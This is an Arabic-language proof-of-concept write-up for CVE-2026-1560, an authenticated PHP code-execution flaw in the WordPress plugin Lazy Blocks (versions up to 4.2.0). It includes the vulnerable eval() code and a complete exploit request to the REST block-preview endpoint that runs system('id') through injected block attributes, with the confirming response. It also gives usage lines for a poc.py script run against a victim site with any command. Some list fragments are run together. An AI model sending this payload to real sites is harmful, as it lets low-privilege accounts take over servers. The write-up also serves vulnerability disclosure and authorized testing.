
إثبات مفهوم لاستغلال CVE-2026-1560، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد تتطلب مصادقة في إضافة Lazy Blocks الخاصة بووردبريس، مما يسمح للمستخدمين ذوي الصلاحيات المنخفضة بتنفيذ أكواد PHP عشوائية عبر REST API.
الباحث: ZeYrOXxx
الملحق: Custom Block Builder – Lazy Blocks
الإصدارات المتأثرة: ≤ 4.2.0
الخطورة: عالية
CVSS: 8.8
نوع الثغرة: تنفيذ التعليمات البرمجية عن بُعد بعد المصادقة (RCE)
ناقل الهجوم: REST API
الصلاحية المطلوبة: edit_posts (مساهم Contributor+)
تم تحديد ثغرة أمنية عالية الخطورة في ملحق WordPress الخاص بـ Custom Block Builder – Lazy Blocks والتي تؤثر على الإصدارات حتى 4.2.0 ضمناً.
تسمح هذه الثغرة للمستخدمين المصادق عليهم بصلاحيات منخفضة (دور المساهم Contributor) بتنفيذ كود PHP عشوائي على الخادم عبر نقطة نهاية REST API مخصصة لوظيفة معاينة الكتل.
هذه المشكلة تكسر نموذج الصلاحيات في WordPress بشكل كامل وقد تؤدي إلى اختراق كامل للخادم.
POST /wp-json/lazy-blocks/v1/block-builder-preview/
يمكن الوصول إلى نقطة النهاية من قبل أي مستخدم مصادق عليه يمتلك صلاحية edit_posts.
يتم تسجيل مسار REST مع استدعاء صلاحيات ضعيف:
'permission_callback' => array( $this, 'block_builder_preview_permission' )
وهذا يشمل المساهمين Contributors، الذين لا ينبغي أبداً السماح لهم بتنفيذ كود PHP.
وحدة تحكم REST – classes/class-rest.php
$block = $request->get_param( 'block' );
$block_result = lazyblocks()->blocks()->render_callback(
$attributes,
null,
null,
$context,
$block_data
);
عارض الكتل – classes/class-blocks.php
public function php_eval( $code, $attributes, $context ) {
ob_start();
eval( '?>' . $code );
return ob_get_clean();
}
تقوم دالة eval() بتنفيذ كود PHP يتحكم فيه المهاجم دون أي تنقية أو تحقق.
يسمح Lazy Blocks بمنطق عرض PHP مخصص للكتل.
تقبل نقطة نهاية معاينة REST API تعريفات كتل مقدمة من المستخدم ولا تميز بين الكتل المخزنة الموثوقة وكتل المعاينة التي يتحكم فيها المهاجم.
من خلال حقن سمات كتلة مسطحة مثل:
code_output_methodcode_editor_htmlيمكن للمهاجم الوصول إلى نقطة تنفيذ php_eval() وتشغيل كود PHP عشوائي.
الطلب:
POST /wp-json/lazy-blocks/v1/block-builder-preview/ HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Basic [بيانات_اعتماد_المساهم]
{
"context": "editor",
"block": {
"slug": "exploit-block",
"code_output_method": "php",
"code_editor_html": "<?php echo 'VULNERABLE: ' . system('id'); ?>"
}
}
الاستجابة:
HTTP/1.1 200 OK
Content-Type: application/json
{
"success": true,
"response": "<div useBlockProps>VULNERABLE: uid=33(www-data)...</div>"
}
✔ تم تأكيد تنفيذ الأوامر التعسفية
يتم توفير إثبات المفهوم هذا حصرياً لأغراض الاختبارات الأمنية والبحث.
يمكن للمهاجم الذي يمتلك وصولاً بصلاحية المساهم Contributor القيام بما يلي:
wp-config.php)eval() على المدخلات التي يتحكم فيها المستخدمmanage_options أو unfiltered_htmlrequestsedit_posts (مساهم Contributor+)pip install requests
python3 poc.py <target_url> <username> <password> "<command>"
python3 poc.py https://victim.site contributor password "id"
إذا كان الهدف معرضاً للخطر، سيتم إرجاع مخرجات الأمر في استجابة HTTP.
⚠️ إثبات المفهوم هذا مخصص حصرياً للاختبارات الأمنية المصرح بها وأغراض البحث.